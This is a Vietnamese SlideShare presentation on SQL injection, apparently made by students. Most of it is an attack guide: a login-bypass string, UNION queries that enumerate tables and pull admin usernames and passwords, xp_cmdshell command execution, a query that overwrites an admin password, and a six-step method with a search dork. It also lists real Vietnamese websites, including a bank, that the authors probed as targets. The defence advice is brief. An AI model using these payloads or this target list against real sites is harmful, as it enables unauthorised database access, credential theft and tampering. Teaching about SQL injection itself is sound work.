SlideShare a Scribd company logo
SQL INJECTION
Nội dung trình bày:
SQL Injection là gì?
Các dạng tấn công bằng SQL Injection
Kỹ Thuật tấn công bằng sql injection
Cách phòng tránh
Demo
SQL Injection là gì?






SQL injection là một kĩ thuật tấn công lợi dụng lỗ
hổng trong việc kiểm tra dữ liệu nhập trong các ứng
dụng web và các thông báo lỗi của hệ quản trị cơ sở
dữ liệu để "tiêm vào" (injection) và thi hành các câu
lệnh SQL bất hợp pháp.
Hậu quả của nó rất tai hại vì nó cho phép những kẻ
tấn công có thể thực hiện các thao tác xóa, hiệu chỉnh,
… do có toàn quyền trên cơ sở dữ liệu của ứng dụng,
thậm chí là server mà ứng dụng đó đang chạy.
Lỗi này thường xảy ra trên các ứng dụng web có dữ
liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu
như SQL Server, MySQL, Oracle, DB2, Sysbase.
Các dạng tấn công bằng SQL Injection


Có bốn dạng thông thường bao gồm:
Vượt qua kiểm tra lúc đăng nhập (authorization
bypass)
 Sử dụng câu lện SELECT
 Sử dụng câu lệnh INSERT
 Sử dụng các stored-procedures [2], [3]

Dạng tấn công vượt qua kiểm tra đăng
nhập




Đăng nhập nhờ vào lỗi khi dùng các câu lệnh
SQL thao tác trên cơ sở dữ liệu của ứng dụng
web.
Trong trường hợp này, người ta có thể dùng
hai trang, một trang HTML để hiển thị form
nhập liệu và một trang ASP dùng để xử lí
thông tin nhập từ phía người dùng. Ví dụ:
login.htm
<form action="ExecLogin.asp" method="post">
Username: <input type="text"
name="fUSRNAME"><br>
Password: <input type="password"
name="fPASSWORD"><br>
<input type="submit">
</form>
execlogin.asp
<%
Dim vUsrName, vPassword, objRS, strSQL vUsrName =
Request.Form("fUSRNAME") vPassword =
Request.Form("fPASSWORD")
strSQL = "SELECT * FROM T_USERS " & _ "WHERE
USR_NAME=' " & vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " ' “
Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open
strSQL, "DSN=..."
If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " &
objRS("USR_NAME")
End If
Set objRS = Nothing %>






Người dùng nhập chuỗi sau vào trong cả 2 ô
nhập liệu username/password của trang
login.htm là: ' OR ' ' = ' .
Lúc này, câu truy vấn sẽ được gọi thực hiện là:
SELECT * FROM T_USERS WHERE
USR_NAME ='' OR ''='' and
USR_PASSWORD= '' OR ''=''
Câu truy vấn này là hợp lệ và sẽ trả về tất cả
các bản ghi của T_USERS và đoạn mã tiếp
theo xử lí người dùng đăng nhập bất hợp pháp
này như là người dùng đăng nhập hợp lệ.
Dạng tấn công sử dụng câu lệnh
SELECT




Để thực hiện được kiểu tấn công này, kẻ tấn
công phải có khả năng hiểu và lợi dụng các sơ
hở trong các thông báo lỗi từ hệ thống để dò
tìm các điểm yếu khởi đầu cho việc tấn công.
Thông thường, sẽ có một trang nhận ID của
tin cần hiển thị rồi sau đó truy
vấn nội dung của tin có ID này.
<%
Dim vNewsID, objRS, strSQL
vNewsID = Request("ID")
strSQL = "SELECT * FROM T_NEWS
WHERE NEWS_ID =" & vNewsID
Set objRS =
Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
Set objRS = Nothing
%>

Câu truy vấn SQL lúc này sẽ trả về tất cả các
article từ bảng dữ liệu vì nó sẽ thực hiện câu
lệnh:
SELECT * FROM T_NEWS WHERE
NEWS_ID=0 or 1=1








' UNION SELECT ALL SELECT OtherField
FROM OtherTable WHERE ' '='
(*)
Lúc này, ngoài câu truy vấn đầu không thành công,
chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ
khóa UNION nữa.
Nếu chúng ta thêm ' UNION SELECT name
FROM sysobjects WHERE xtype = 'U' là có thể
liệt kê được tên tất cả các bảng dữ liệu.
Dạng tấn công sử dụng câu lệnh
INSERT


Chức năng không thể thiếu là sau khi đăng kí
thành công, người dùng có thể xem và hiệu
chỉnh thông tin của mình. SQL injection có thể
được dùng khi hệ thống không kiểm tra tính
hợp lệ của thông tin nhập vào.




Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng:
INSERT INTO TableName VALUES('Value One',
'Value Two', 'Value Three'). Nếu đoạn mã xây dựng
câu lệnh SQL có dạng :
<% strSQL = "INSERT INTO TableName
VALUES(' " & strValueOne & " ', ' " _ &
strValueTwo & " ', ' " & strValueThree & " ') " Set
objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..." … Set objRS =
Nothing %>
Dạng tấn công sử dụng storedprocedures





Việc tấn công bằng stored-procedures sẽ gây
tác hại rất lớn nếu ứng dụng được thực thi với
quyền quản trị hệ thống 'sa'.
Ví dụ, nếu ta thay đoạn mã tiêm vào dạng: ' ;
EXEC xp_cmdshell 'cmd.exe dir C: '.
Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư
mục trên ổ đĩa C: cài đặt server. Việc phá hoại
kiểu nào tuỳ thuộc vào câu lệnh đằng sau
cmd.exe.
Kỹ Thuật tấn công bằng sql injection









Bước 1: Tìm kiếm mục tiêu.
Bước 2: Kiểm tra chỗ yếu của trang web
Bước 3: Nhận data qua ‘database using ODBC
error message’
Bước 4: Xác định tên của các column trong
table
Bước 5: Thu thập các dữ liệu quan trọng.
Bước 6: Xử lý kết quả tìm được
Tìm kiếm mục tiêu




Bạn có thể dùng các bất kỳ một search-engine
nào trên mạng như các trang login, search,
feedback…
Bạn có thể “custome Search Engine” lại cho
phù hợp với yêu cầu của bạn



Thực hiện câu lệnh search:
inurl:php?id= site:com.vn
Đây là kết quả thu được.
Kết Quả Tìm Được Của Nhóm













http://www.vsmc.com.vn/news_detail.php?id=19'
http://www.toeic.com.vn/info/details.php?id=383'
http://www.phanhoadigi.com.vn/list_product.php?
ID=1173&namecate=EOS'
http://forum.key.com.vn/viewtopic.php?id=362
http://www.biconsi.com.vn/index.php?id=36'
http://www.vietphone.com.vn/download.php?mode=download&id=19'
http://thammyvienthanhbinh.com.vn/detail.php?id=19'
http://www.voip.com.vn/download.php?mode=download&id=28'
http://bidv.com.vn/advert.asp?id=36'
http://www.licogi.com.vn/home.asp?ID=234&Langid=2%27
http://www.galilcol.ac.il/page.asp?id=17‘
Ghi chú: không phải trang nào cũng tấn công được
Kiểm tra chỗ yếu của trang web




Bạn có thể điền thêm một số lệnh trên url,
hoặc trên các from login, search, hoặc search
để phát hiện lỗi.
Sau đây là một số cách thêm và phát hiện lỗi
của nhóm mình:
Nhận data qua ‘database using
ODBC error message’



Đây là bước quan trọng nhất và đòi hỏi nhiều kĩ
thuật lẫn sự am hiểu về cơ sở dữ liệu.
Table INFORMATION_SCHEMA.COLUMNS
chứa tên của tất cả các column trong table. Bạn
có thể khai thác như sau:
http://vitcon/index.asp?id=10 UNION SELECT
TOP 1 COLUMN_NAME FROM
INFORMATION_SHEMA.COLUMNS
WHERE TABLE_NAME=‘admin_login’--
Out put:




Microsoft OLE DB Provider for ODBC
Drivers error ‘80040e07’[Microsoft][ODBC
SQL Server Driver][SQL Server]ORDER BY
items must appear in the select list if the
statement contains a UNION operator.
/index.asp, line 5
Thu thập các dữ liệu quan trọng






Chúng ta phải xác định được các tên của các
table và column quan trọng.
Chúng ta có thể lấy login_name đầu tiên trong
table “admin_login” như sau:
http://vitcon/index.asp?id=10 UNION
SELECT TOP 1 login_name From
admin_login—








Bạn dễ dàng nhận ra được admin user đầu tiên
có login_name là ‘aaa’.
Sau đó dung tên user tìm được để tìm
password:
http://vitcon/index.asp?id=10 UNION
SELECT TOP 1 password FROM
admin_login where login _name=‘aaa’—
Bây giờ bạn sẽ nhận được password của ‘aaa’
là ‘bbb’.
Xử lý kết quả tìm được








Khi bạn đã có tên của tất cả các column trong table,
bạn có thể UPDATE hoặc INSERT một record mới
vào table này.
Để thay đổi password của ‘aaa’ bạn có thể làm như
sau:
http://vitcon/index.asp?id=10 ;UPDATE
‘admin_login’ SET ‘password’ =‘ccc’ WHERE
login_name=‘aaa’–
Hoặc bạn login trực tiếp vào và thực hiện dưới quyền
user đó.
Cách phòng tránh




Cần có cơ chế kiểm soát chặt chẽ và giới hạn
quyền xử lí dữ liệu đến tài khoản người dùng
mà ứng dụng web đang sử dụng.
Các ứng dụng thông thường nên tránh dùng
đến các quyền như dbo hay sa. Quyền càng bị
hạn chế, thiệt hại càng ít.




Loại bỏ bất kì thông tin kĩ thuật nào chứa
trong thông điệp chuyển xuống cho người
dùng khi ứng dụng có lỗi.
Các thông báo lỗi thông thường tiết lộ các chi
tiết kĩ thuật có thể cho phép kẻ tấn công biết
được điểm yếu của hệ thống.
DEMO
SQL injection
SQL injection
SQL injection
SQL injection
SQL injection
SQL injection
SQL injection
SQL injection
SQL injection
SQL injection
SQL injection
SQL injection
SQL injection
SQL injection
SQL injection

More Related Content

What's hot

Tim hieu lo hong web va cach phong chong
Tim hieu lo hong web va cach phong chongTim hieu lo hong web va cach phong chong
Tim hieu lo hong web va cach phong chongVu Trung Kien
 
Báo cáo thực tập
Báo cáo thực tậpBáo cáo thực tập
Báo cáo thực tậpLuc Cao
 
Đề Tài Thiết Kế Phần Mềm Quản Lý Sinh Viên
Đề Tài Thiết Kế Phần Mềm Quản Lý Sinh Viên Đề Tài Thiết Kế Phần Mềm Quản Lý Sinh Viên
Đề Tài Thiết Kế Phần Mềm Quản Lý Sinh Viên
nataliej4
 
Chuan viet code va thiet ke giao dien trong C#
Chuan viet code va thiet ke giao dien trong C#Chuan viet code va thiet ke giao dien trong C#
Chuan viet code va thiet ke giao dien trong C#Kuli An
 
Bài 6: Bảo mật trong SQL SERVER 2008 - Giáo trình FPT
Bài 6: Bảo mật trong SQL SERVER 2008 - Giáo trình FPTBài 6: Bảo mật trong SQL SERVER 2008 - Giáo trình FPT
Bài 6: Bảo mật trong SQL SERVER 2008 - Giáo trình FPT
MasterCode.vn
 
PHÂN TÍCH VÀ THIẾT KẾ HỆ THỐNG DÙNG UML
PHÂN TÍCH VÀ THIẾT KẾ HỆ THỐNG DÙNG UMLPHÂN TÍCH VÀ THIẾT KẾ HỆ THỐNG DÙNG UML
PHÂN TÍCH VÀ THIẾT KẾ HỆ THỐNG DÙNG UMLDang Tuan
 
Bài giảng thực hành windows server 2008 776030
Bài giảng thực hành windows server 2008 776030Bài giảng thực hành windows server 2008 776030
Bài giảng thực hành windows server 2008 776030
trucmt2000
 
Nhận diện những nguy cơ đe dọa an ninh mạng - Ms Nguyễn Ngọc Phương Mai
Nhận diện những nguy cơ đe dọa an ninh mạng - Ms Nguyễn Ngọc Phương MaiNhận diện những nguy cơ đe dọa an ninh mạng - Ms Nguyễn Ngọc Phương Mai
Nhận diện những nguy cơ đe dọa an ninh mạng - Ms Nguyễn Ngọc Phương Mai
Lac Viet Computing Corporation
 
Bài 1: Làm quen với ASP.NET - Giáo trình FPT - Có ví dụ kèm theo
Bài 1: Làm quen với ASP.NET - Giáo trình FPT - Có ví dụ kèm theoBài 1: Làm quen với ASP.NET - Giáo trình FPT - Có ví dụ kèm theo
Bài 1: Làm quen với ASP.NET - Giáo trình FPT - Có ví dụ kèm theo
MasterCode.vn
 
Rename domain controller server 2012
Rename domain controller server 2012Rename domain controller server 2012
Rename domain controller server 2012
laonap166
 
Xây dựng hệ thống quản lý sân bóng sử dụng Yii Framework
Xây dựng hệ thống quản lý sân bóng sử dụng Yii FrameworkXây dựng hệ thống quản lý sân bóng sử dụng Yii Framework
Xây dựng hệ thống quản lý sân bóng sử dụng Yii Framework
GMO-Z.com Vietnam Lab Center
 
Hệ thống quản lý bán hàng online
Hệ thống quản lý bán hàng onlineHệ thống quản lý bán hàng online
Hệ thống quản lý bán hàng online
Han Nguyen
 
Phân tích và thiết kế hệ thống quản lý bán hàng
Phân tích và thiết kế hệ thống quản lý bán hàngPhân tích và thiết kế hệ thống quản lý bán hàng
Phân tích và thiết kế hệ thống quản lý bán hàng
leemindinh
 
tổng hợp bài tập java có đáp án chi tiết
 tổng hợp bài tập java có đáp án chi tiết tổng hợp bài tập java có đáp án chi tiết
tổng hợp bài tập java có đáp án chi tiết
Hoàng Trí Phan
 
Thiết kế website học trực tuyến e learning
Thiết kế website học trực tuyến e learningThiết kế website học trực tuyến e learning
Thiết kế website học trực tuyến e learning
Trinh LeMinh
 
Trigger, Cursor, Function in SQL Server
Trigger, Cursor, Function in SQL ServerTrigger, Cursor, Function in SQL Server
Trigger, Cursor, Function in SQL Server
Nguyễn Phúc
 
BÀI 2: Thiết kế FORM và xử lý sự kiện - Giáo trình FPT
BÀI 2: Thiết kế FORM và xử lý sự kiện - Giáo trình FPTBÀI 2: Thiết kế FORM và xử lý sự kiện - Giáo trình FPT
BÀI 2: Thiết kế FORM và xử lý sự kiện - Giáo trình FPT
MasterCode.vn
 
Bài 1: Làm quen với SQL Server 2008 - Giáo trình FPT
Bài 1: Làm quen với SQL Server 2008 - Giáo trình FPTBài 1: Làm quen với SQL Server 2008 - Giáo trình FPT
Bài 1: Làm quen với SQL Server 2008 - Giáo trình FPT
MasterCode.vn
 
Laravel
LaravelLaravel
LaravelHoc Vu
 

What's hot (20)

Tim hieu lo hong web va cach phong chong
Tim hieu lo hong web va cach phong chongTim hieu lo hong web va cach phong chong
Tim hieu lo hong web va cach phong chong
 
Báo cáo thực tập
Báo cáo thực tậpBáo cáo thực tập
Báo cáo thực tập
 
Đề Tài Thiết Kế Phần Mềm Quản Lý Sinh Viên
Đề Tài Thiết Kế Phần Mềm Quản Lý Sinh Viên Đề Tài Thiết Kế Phần Mềm Quản Lý Sinh Viên
Đề Tài Thiết Kế Phần Mềm Quản Lý Sinh Viên
 
Chuan viet code va thiet ke giao dien trong C#
Chuan viet code va thiet ke giao dien trong C#Chuan viet code va thiet ke giao dien trong C#
Chuan viet code va thiet ke giao dien trong C#
 
Bài 6: Bảo mật trong SQL SERVER 2008 - Giáo trình FPT
Bài 6: Bảo mật trong SQL SERVER 2008 - Giáo trình FPTBài 6: Bảo mật trong SQL SERVER 2008 - Giáo trình FPT
Bài 6: Bảo mật trong SQL SERVER 2008 - Giáo trình FPT
 
PHÂN TÍCH VÀ THIẾT KẾ HỆ THỐNG DÙNG UML
PHÂN TÍCH VÀ THIẾT KẾ HỆ THỐNG DÙNG UMLPHÂN TÍCH VÀ THIẾT KẾ HỆ THỐNG DÙNG UML
PHÂN TÍCH VÀ THIẾT KẾ HỆ THỐNG DÙNG UML
 
Bài giảng thực hành windows server 2008 776030
Bài giảng thực hành windows server 2008 776030Bài giảng thực hành windows server 2008 776030
Bài giảng thực hành windows server 2008 776030
 
Nhận diện những nguy cơ đe dọa an ninh mạng - Ms Nguyễn Ngọc Phương Mai
Nhận diện những nguy cơ đe dọa an ninh mạng - Ms Nguyễn Ngọc Phương MaiNhận diện những nguy cơ đe dọa an ninh mạng - Ms Nguyễn Ngọc Phương Mai
Nhận diện những nguy cơ đe dọa an ninh mạng - Ms Nguyễn Ngọc Phương Mai
 
Bài 1: Làm quen với ASP.NET - Giáo trình FPT - Có ví dụ kèm theo
Bài 1: Làm quen với ASP.NET - Giáo trình FPT - Có ví dụ kèm theoBài 1: Làm quen với ASP.NET - Giáo trình FPT - Có ví dụ kèm theo
Bài 1: Làm quen với ASP.NET - Giáo trình FPT - Có ví dụ kèm theo
 
Rename domain controller server 2012
Rename domain controller server 2012Rename domain controller server 2012
Rename domain controller server 2012
 
Xây dựng hệ thống quản lý sân bóng sử dụng Yii Framework
Xây dựng hệ thống quản lý sân bóng sử dụng Yii FrameworkXây dựng hệ thống quản lý sân bóng sử dụng Yii Framework
Xây dựng hệ thống quản lý sân bóng sử dụng Yii Framework
 
Hệ thống quản lý bán hàng online
Hệ thống quản lý bán hàng onlineHệ thống quản lý bán hàng online
Hệ thống quản lý bán hàng online
 
Phân tích và thiết kế hệ thống quản lý bán hàng
Phân tích và thiết kế hệ thống quản lý bán hàngPhân tích và thiết kế hệ thống quản lý bán hàng
Phân tích và thiết kế hệ thống quản lý bán hàng
 
tổng hợp bài tập java có đáp án chi tiết
 tổng hợp bài tập java có đáp án chi tiết tổng hợp bài tập java có đáp án chi tiết
tổng hợp bài tập java có đáp án chi tiết
 
Thiết kế website học trực tuyến e learning
Thiết kế website học trực tuyến e learningThiết kế website học trực tuyến e learning
Thiết kế website học trực tuyến e learning
 
Trigger, Cursor, Function in SQL Server
Trigger, Cursor, Function in SQL ServerTrigger, Cursor, Function in SQL Server
Trigger, Cursor, Function in SQL Server
 
BÀI 2: Thiết kế FORM và xử lý sự kiện - Giáo trình FPT
BÀI 2: Thiết kế FORM và xử lý sự kiện - Giáo trình FPTBÀI 2: Thiết kế FORM và xử lý sự kiện - Giáo trình FPT
BÀI 2: Thiết kế FORM và xử lý sự kiện - Giáo trình FPT
 
Uml hà
Uml hàUml hà
Uml hà
 
Bài 1: Làm quen với SQL Server 2008 - Giáo trình FPT
Bài 1: Làm quen với SQL Server 2008 - Giáo trình FPTBài 1: Làm quen với SQL Server 2008 - Giáo trình FPT
Bài 1: Làm quen với SQL Server 2008 - Giáo trình FPT
 
Laravel
LaravelLaravel
Laravel
 

Viewers also liked

Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application
Công cụ và phương pháp phát hiện lỗ hổng bảo mật web applicationCông cụ và phương pháp phát hiện lỗ hổng bảo mật web application
Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application
ducmanhkthd
 
Kiểm thử bảo mật web
Kiểm thử bảo mật webKiểm thử bảo mật web
Kiểm thử bảo mật web
Minh Tri Nguyen
 
Những lỗi bảo mật web thường gặp ở phần application
Những lỗi bảo mật web thường gặp ở phần applicationNhững lỗi bảo mật web thường gặp ở phần application
Những lỗi bảo mật web thường gặp ở phần application
Ngoc Dao
 
Sql injection attack
Sql injection attackSql injection attack
Sql injection attack
RajKumar Rampelli
 
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)Luc Cao
 
tìm hiểu các lỗ hổng bảo mật
tìm hiểu các lỗ hổng bảo mậttìm hiểu các lỗ hổng bảo mật
tìm hiểu các lỗ hổng bảo mật
anhkhoa2222
 

Viewers also liked (7)

Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application
Công cụ và phương pháp phát hiện lỗ hổng bảo mật web applicationCông cụ và phương pháp phát hiện lỗ hổng bảo mật web application
Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application
 
Kiểm thử bảo mật web
Kiểm thử bảo mật webKiểm thử bảo mật web
Kiểm thử bảo mật web
 
Những lỗi bảo mật web thường gặp ở phần application
Những lỗi bảo mật web thường gặp ở phần applicationNhững lỗi bảo mật web thường gặp ở phần application
Những lỗi bảo mật web thường gặp ở phần application
 
Sql injection attack
Sql injection attackSql injection attack
Sql injection attack
 
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
 
tìm hiểu các lỗ hổng bảo mật
tìm hiểu các lỗ hổng bảo mậttìm hiểu các lỗ hổng bảo mật
tìm hiểu các lỗ hổng bảo mật
 
Sql injection
Sql injectionSql injection
Sql injection
 

Similar to SQL injection

Sql injection2
Sql injection2Sql injection2
Sql injection2Gió Lào
 
Tan cong kieu sql injection tac hai va phong tranh vn
Tan cong kieu sql injection   tac hai va phong tranh vnTan cong kieu sql injection   tac hai va phong tranh vn
Tan cong kieu sql injection tac hai va phong tranh vnJenny Nguyen
 
Sql injection it-slideshares.blogspot.com
Sql injection it-slideshares.blogspot.comSql injection it-slideshares.blogspot.com
Sql injection it-slideshares.blogspot.com
phanleson
 
Sql injection bao cao - http://ouo.io/Mqc8L5
Sql injection bao cao - http://ouo.io/Mqc8L5Sql injection bao cao - http://ouo.io/Mqc8L5
Sql injection bao cao - http://ouo.io/Mqc8L5
phanleson
 
Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2
Luc Cao
 
Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2Luc Cao
 
PHP Security SQL injection
PHP Security SQL injectionPHP Security SQL injection
PHP Security SQL injectionLoc Nguyen
 
Hướng dẫn lập trình với SCSF phần I (smart client software factory)
Hướng dẫn lập trình với SCSF phần I (smart client software factory)Hướng dẫn lập trình với SCSF phần I (smart client software factory)
Hướng dẫn lập trình với SCSF phần I (smart client software factory)
Minh Tri Lam
 
Trong bài viết hôm nay
Trong bài viết hôm nayTrong bài viết hôm nay
Trong bài viết hôm nay
ledoanduc
 
Bai1.pdf
Bai1.pdfBai1.pdf
Bai1.pdf
TrnXunQuyn
 
Lớp kết nối csdl dùng jdbc trong java
Lớp kết nối csdl dùng jdbc trong javaLớp kết nối csdl dùng jdbc trong java
Lớp kết nối csdl dùng jdbc trong java
ANHMATTROI
 
slide_Chuong 3_ (1).ppt
slide_Chuong 3_ (1).pptslide_Chuong 3_ (1).ppt
slide_Chuong 3_ (1).ppt
23TrnhMDuynD16CNPM3
 
Hướng dẫn lập trình với SCSF phần II(smart client software factory)
Hướng dẫn lập trình với SCSF phần II(smart client software factory)Hướng dẫn lập trình với SCSF phần II(smart client software factory)
Hướng dẫn lập trình với SCSF phần II(smart client software factory)
Minh Tri Lam
 
Bảo mật ứng dụng ASP.NET
Bảo mật ứng dụng ASP.NETBảo mật ứng dụng ASP.NET
Bảo mật ứng dụng ASP.NET
HUST
 
Zend Framework 2 - Thao tác Database trong Zend Framework 2 - Bài 8
Zend Framework 2 - Thao tác Database trong Zend Framework 2 - Bài 8 Zend Framework 2 - Thao tác Database trong Zend Framework 2 - Bài 8
Zend Framework 2 - Thao tác Database trong Zend Framework 2 - Bài 8
KhanhPham
 
Sql injection
Sql injectionSql injection
Sql injection
Linh Hoang
 

Similar to SQL injection (20)

Sql injection2
Sql injection2Sql injection2
Sql injection2
 
Tan cong kieu sql injection tac hai va phong tranh vn
Tan cong kieu sql injection   tac hai va phong tranh vnTan cong kieu sql injection   tac hai va phong tranh vn
Tan cong kieu sql injection tac hai va phong tranh vn
 
Sql injection2
Sql injection2Sql injection2
Sql injection2
 
Sql injection it-slideshares.blogspot.com
Sql injection it-slideshares.blogspot.comSql injection it-slideshares.blogspot.com
Sql injection it-slideshares.blogspot.com
 
Sql injection bao cao - http://ouo.io/Mqc8L5
Sql injection bao cao - http://ouo.io/Mqc8L5Sql injection bao cao - http://ouo.io/Mqc8L5
Sql injection bao cao - http://ouo.io/Mqc8L5
 
Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2
 
Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2
 
PHP Security SQL injection
PHP Security SQL injectionPHP Security SQL injection
PHP Security SQL injection
 
Cach su dung data reader
Cach su dung data readerCach su dung data reader
Cach su dung data reader
 
Hướng dẫn lập trình với SCSF phần I (smart client software factory)
Hướng dẫn lập trình với SCSF phần I (smart client software factory)Hướng dẫn lập trình với SCSF phần I (smart client software factory)
Hướng dẫn lập trình với SCSF phần I (smart client software factory)
 
Trong bài viết hôm nay
Trong bài viết hôm nayTrong bài viết hôm nay
Trong bài viết hôm nay
 
Bai1.pdf
Bai1.pdfBai1.pdf
Bai1.pdf
 
Lớp kết nối csdl dùng jdbc trong java
Lớp kết nối csdl dùng jdbc trong javaLớp kết nối csdl dùng jdbc trong java
Lớp kết nối csdl dùng jdbc trong java
 
slide_Chuong 3_ (1).ppt
slide_Chuong 3_ (1).pptslide_Chuong 3_ (1).ppt
slide_Chuong 3_ (1).ppt
 
Hướng dẫn lập trình với SCSF phần II(smart client software factory)
Hướng dẫn lập trình với SCSF phần II(smart client software factory)Hướng dẫn lập trình với SCSF phần II(smart client software factory)
Hướng dẫn lập trình với SCSF phần II(smart client software factory)
 
Yii
YiiYii
Yii
 
Bảo mật ứng dụng ASP.NET
Bảo mật ứng dụng ASP.NETBảo mật ứng dụng ASP.NET
Bảo mật ứng dụng ASP.NET
 
Zend Framework 2 - Thao tác Database trong Zend Framework 2 - Bài 8
Zend Framework 2 - Thao tác Database trong Zend Framework 2 - Bài 8 Zend Framework 2 - Thao tác Database trong Zend Framework 2 - Bài 8
Zend Framework 2 - Thao tác Database trong Zend Framework 2 - Bài 8
 
Sql injection
Sql injectionSql injection
Sql injection
 
07 trigger view
07 trigger view07 trigger view
07 trigger view
 

SQL injection

  • 1. SQL INJECTION Nội dung trình bày: SQL Injection là gì? Các dạng tấn công bằng SQL Injection Kỹ Thuật tấn công bằng sql injection Cách phòng tránh Demo
  • 2. SQL Injection là gì?    SQL injection là một kĩ thuật tấn công lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu để "tiêm vào" (injection) và thi hành các câu lệnh SQL bất hợp pháp. Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện các thao tác xóa, hiệu chỉnh, … do có toàn quyền trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy. Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase.
  • 3. Các dạng tấn công bằng SQL Injection  Có bốn dạng thông thường bao gồm: Vượt qua kiểm tra lúc đăng nhập (authorization bypass)  Sử dụng câu lện SELECT  Sử dụng câu lệnh INSERT  Sử dụng các stored-procedures [2], [3] 
  • 4. Dạng tấn công vượt qua kiểm tra đăng nhập   Đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web. Trong trường hợp này, người ta có thể dùng hai trang, một trang HTML để hiển thị form nhập liệu và một trang ASP dùng để xử lí thông tin nhập từ phía người dùng. Ví dụ:
  • 5. login.htm <form action="ExecLogin.asp" method="post"> Username: <input type="text" name="fUSRNAME"><br> Password: <input type="password" name="fPASSWORD"><br> <input type="submit"> </form>
  • 6. execlogin.asp <% Dim vUsrName, vPassword, objRS, strSQL vUsrName = Request.Form("fUSRNAME") vPassword = Request.Form("fPASSWORD") strSQL = "SELECT * FROM T_USERS " & _ "WHERE USR_NAME=' " & vUsrName & _ " ' and USR_PASSWORD=' " & vPassword & " ' “ Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." If (objRS.EOF) Then Response.Write "Invalid login." Else Response.Write "You are logged in as " & objRS("USR_NAME") End If Set objRS = Nothing %>
  • 7.    Người dùng nhập chuỗi sau vào trong cả 2 ô nhập liệu username/password của trang login.htm là: ' OR ' ' = ' . Lúc này, câu truy vấn sẽ được gọi thực hiện là: SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and USR_PASSWORD= '' OR ''='' Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của T_USERS và đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ.
  • 8.
  • 9.
  • 10. Dạng tấn công sử dụng câu lệnh SELECT   Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công. Thông thường, sẽ có một trang nhận ID của tin cần hiển thị rồi sau đó truy vấn nội dung của tin có ID này.
  • 11. <% Dim vNewsID, objRS, strSQL vNewsID = Request("ID") strSQL = "SELECT * FROM T_NEWS WHERE NEWS_ID =" & vNewsID Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." Set objRS = Nothing %> 
  • 12. Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì nó sẽ thực hiện câu lệnh: SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1 
  • 13.    ' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' (*) Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa. Nếu chúng ta thêm ' UNION SELECT name FROM sysobjects WHERE xtype = 'U' là có thể liệt kê được tên tất cả các bảng dữ liệu.
  • 14. Dạng tấn công sử dụng câu lệnh INSERT  Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng có thể xem và hiệu chỉnh thông tin của mình. SQL injection có thể được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào.
  • 15.   Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng: INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value Three'). Nếu đoạn mã xây dựng câu lệnh SQL có dạng : <% strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ', ' " _ & strValueTwo & " ', ' " & strValueThree & " ') " Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." … Set objRS = Nothing %>
